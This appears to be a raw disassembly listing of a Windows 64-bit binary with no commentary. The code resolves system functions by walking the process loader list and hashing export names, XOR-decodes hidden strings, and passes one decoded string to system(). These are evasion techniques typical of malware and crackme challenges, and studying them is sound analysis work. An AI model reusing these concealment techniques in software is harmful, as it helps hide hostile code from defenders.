cmp dword [r13 + 0x18], ebx
jbe 0x140002781
mov ecx, dword [r13 + 0x20]
mov r15d, edi
lea rax, [rsi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rsi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002745
mov r15d, r8d
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x1400026f0
mov r15d, edi
cmp r8d, 0xbcfda879
je 0x140002752
inc edi
cmp edi, dword [r13 + 0x18]
jae 0x14000277d
jmp 0x1400026c5
mov ecx, dword [r13 + 0x1c]
add rcx, rsi
mov eax, dword [r13 + 0x24]
add rax, rsi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rsi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x14000277d
cmp r14, r12
jb 0x140002796
mov rdx, qword [rbp + 0x67]
test r14, r14
jne 0x140002825
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rdx]
jmp 0x140002658
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x1400027c0
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x1400027a2
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x14000281a
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x1400027d1
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov dword [rsp + 0x20], ebx
mov r9d, 8
lea r8, [0x140008e08]
mov rdx, qword [rbp - 0x69]
mov rcx, qword [rbp + 0x77]
call r14
nop
mov rax, qword [0x140008db8]
mov qword [rbp - 0x69], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
mov qword [rbp + 0x7f], rax
mov r14, rbx
mov rdx, qword [rax]
mov qword [rbp + 0x67], rdx
cmp rdx, rax
je 0x14000390c
cmp qword [rdx + 0x60], 0
je 0x14000299e
mov rsi, qword [rdx + 0x30]
test rsi, rsi
je 0x14000299e
movsxd r8, dword [rsi + 0x3c]
mov r12, qword [r8 + rsi + 0x88]
mov rcx, r12
shr rcx, 0x20
mov r13d, r12d
add r13, rsi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400038eb
mov eax, 0x20b
cmp word [r8 + rsi + 0x18], ax
jne 0x1400028c9
test ecx, ecx
je 0x14000299a
mov edi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140002991
mov ecx, dword [r13 + 0x20]
mov r15d, edi
lea rax, [rsi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rsi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002955
mov r15d, r8d
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x140002900
mov r15d, edi
cmp r8d, 0xbcfda879
je 0x140002962
inc edi
cmp edi, dword [r13 + 0x18]
jae 0x14000298d
jmp 0x1400028d5
mov ecx, dword [r13 + 0x1c]
add rcx, rsi
mov eax, dword [r13 + 0x24]
add rax, rsi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rsi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x14000298d
cmp r14, r12
jb 0x1400029a6
mov rdx, qword [rbp + 0x67]
test r14, r14
jne 0x140002a35
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rdx]
jmp 0x140002868
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x1400029d0
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x1400029b2
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x140002a2a
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x1400029e1
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov dword [rsp + 0x20], ebx
mov r9d, 8
lea r8, [0x140008e18]
mov rdx, qword [rbp - 0x69]
mov rcx, qword [rbp + 0x77]
call r14
nop
mov rax, qword [0x140008dc0]
mov qword [rbp - 0x69], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
mov qword [rbp + 0x7f], rax
mov r14, rbx
mov rdx, qword [rax]
mov qword [rbp + 0x67], rdx
cmp rdx, rax
je 0x1400038ca
cmp qword [rdx + 0x60], 0
je 0x140002bae
mov rsi, qword [rdx + 0x30]
test rsi, rsi
je 0x140002bae
movsxd r8, dword [rsi + 0x3c]
mov r12, qword [r8 + rsi + 0x88]
mov rcx, r12
shr rcx, 0x20
mov r13d, r12d
add r13, rsi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400038a9
mov eax, 0x20b
cmp word [r8 + rsi + 0x18], ax
jne 0x140002ad9
test ecx, ecx
je 0x140002baa
mov edi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140002ba1
mov eax, dword [r13 + 0x20]
mov r15d, edi
lea rax, [rax + r15*4]
mov r11d, dword [rax + rsi]
add r11, rsi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002b65
mov r15d, r8d
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x140002b10
mov r15d, edi
cmp r8d, 0xbcfda879
je 0x140002b72
inc edi
cmp edi, dword [r13 + 0x18]
jae 0x140002b9d
jmp 0x140002ae5
mov ecx, dword [r13 + 0x1c]
add rcx, rsi
mov eax, dword [r13 + 0x24]
add rax, rsi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rsi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x140002b9d
cmp r14, r12
jb 0x140002bb6
mov rdx, qword [rbp + 0x67]
test r14, r14
jne 0x140002c45
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rdx]
jmp 0x140002a78
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x140002be0
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x140002bc2
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x140002c3a
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x140002bf1
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov dword [rsp + 0x20], ebx
mov r9d, 8
lea r8, [0x140008de0]
mov rdx, qword [rbp - 0x69]
mov rcx, qword [rbp + 0x77]
call r14
nop
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x67], eax
mov edi, dword [0x140008018]
cmp byte [0x1400064ef], 0
je 0x140002d63
cmp edi, 2
jl 0x140002d1c
movdqa xmm3, xmmword [0x140006bb0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140006bf0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140006bf0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov esi, 5
movd xmm0, esi
psrad xmm2, xmm0
mov r14d, 0x1f
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x67], xmm2
jmp 0x140002d6d
lea r9, [rbp + 0x67]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140002d30
mov r14d, 0x1f
lea esi, [r14 - 0x1a]
lea rcx, [rbp + 0x67]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140006450]
movups xmmword [rbp - 0x59], xmm0
movsd xmm0, qword [0x140006460]
movsd qword [rbp - 0x49], xmm0
mov eax, dword [0x140006468]
mov dword [rbp - 0x41], eax
movzx eax, word [0x14000646c]
mov word [rbp - 0x3d], ax
movzx eax, byte [0x14000646e]
mov byte [rbp - 0x3b], al
mov r8d, ebx
cmp edi, 2
jl 0x140002eff
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov edx, dword [rbp - 0x69]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140002df0
cmp r8d, 0x1f
jge 0x140002f43
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140002f10
mov edx, dword [0x140008dd4]
lea rcx, [rbp - 0x59]
call fcn.140001130
movups xmm0, xmmword [0x1400064c8]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [0x1400064d8]
movups xmmword [rbp - 0x49], xmm1
movzx eax, byte [0x1400064e8]
mov byte [rbp - 0x39], al
mov r8d, ebx
cmp edi, 2
jl 0x1400030cf
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov edx, dword [rbp - 0x69]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140002fc0
cmp r8d, 0x21
jge 0x140003113
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400030e0
mov edx, dword [0x140008dd0]
lea rcx, [rbp - 0x59]
call fcn.140001130
movups xmm0, xmmword [0x140006438]
movups xmmword [rbp - 0x59], xmm0
movzx eax, word [0x140006448]
mov word [rbp - 0x49], ax
cmp byte [0x140006449], 0
je 0x1400032e3
mov r8d, ebx
cmp edi, 2
jl 0x14000329f
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov edx, dword [rbp - 0x69]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003190
cmp r8d, 0x12
jge 0x1400032e3
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400032b0
movsd xmm1, qword [0x140008dd8]
movq rdx, xmm1
lea rcx, [rbp - 0x59]
call fcn.140001130
movups xmm0, xmmword [0x140006420]
movups xmmword [rbp - 0x59], xmm0
movzx eax, word [0x140006430]
mov word [rbp - 0x49], ax
cmp byte [0x140006431], 0
je 0x1400034b3
mov r8d, ebx
cmp edi, 2
jl 0x14000346f
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov edx, dword [rbp - 0x69]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003360
cmp r8d, 0x12
jge 0x1400034b3
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140003480
movsd xmm1, qword [0x140008e08]
movq rdx, xmm1
lea rcx, [rbp - 0x59]
call fcn.140001130
movups xmm0, xmmword [0x140006488]
movups xmmword [rbp - 0x59], xmm0
movzx eax, word [0x140006498]
mov word [rbp - 0x49], ax
cmp byte [0x140006499], 0
je 0x140003683
mov r8d, ebx
cmp edi, 2
jl 0x14000363f
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov edx, dword [rbp - 0x69]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003530
cmp r8d, 0x12
jge 0x140003683
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140003650
movsd xmm1, qword [0x140008e18]
movq rdx, xmm1
lea rcx, [rbp - 0x59]
call fcn.140001130
movsd xmm4, qword [0x140008de0]
movups xmm0, xmmword [0x140006470]
movups xmmword [rbp - 0x59], xmm0
movzx eax, word [0x140006480]
mov word [rbp - 0x49], ax
movzx eax, byte [0x140006482]
mov byte [rbp - 0x47], al
mov r8d, ebx
cmp edi, 2
jl 0x140003821
movdqa xmm6, xmmword [0x140006bb0]
movdqa xmm5, xmmword [0x140006bf0]
movd xmm7, esi
movdqa xmm8, xmmword [str.9999]
movd xmm9, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov edx, dword [rbp - 0x69]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm7
movdqa xmm0, xmm1
psrld xmm0, xmm9
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm7
movdqa xmm0, xmm1
psrld xmm0, xmm9
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003710
cmp r8d, 0x13
jge 0x140003863
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140003830
movaps xmm1, xmm4
movq rdx, xmm4
lea rcx, [rbp - 0x59]
call fcn.140001130
mov eax, dword [str.BRAFS7]
mov dword [rbp + 0x6f], eax
movzx eax, word [0x140006418]
mov word [rbp + 0x73], ax
mov byte [rbp + 0x6f], 0x70
xor byte [rbp + 0x70], 0x33
xor byte [rbp + 0x71], 0x34
xor byte [rbp + 0x72], 0x35
xor byte [rbp + 0x73], 0x36
xor byte [rbp + 0x74], 0x37
lea rcx, [rbp + 0x6f]
jmp 0x140001ff3
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp - 0x79]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
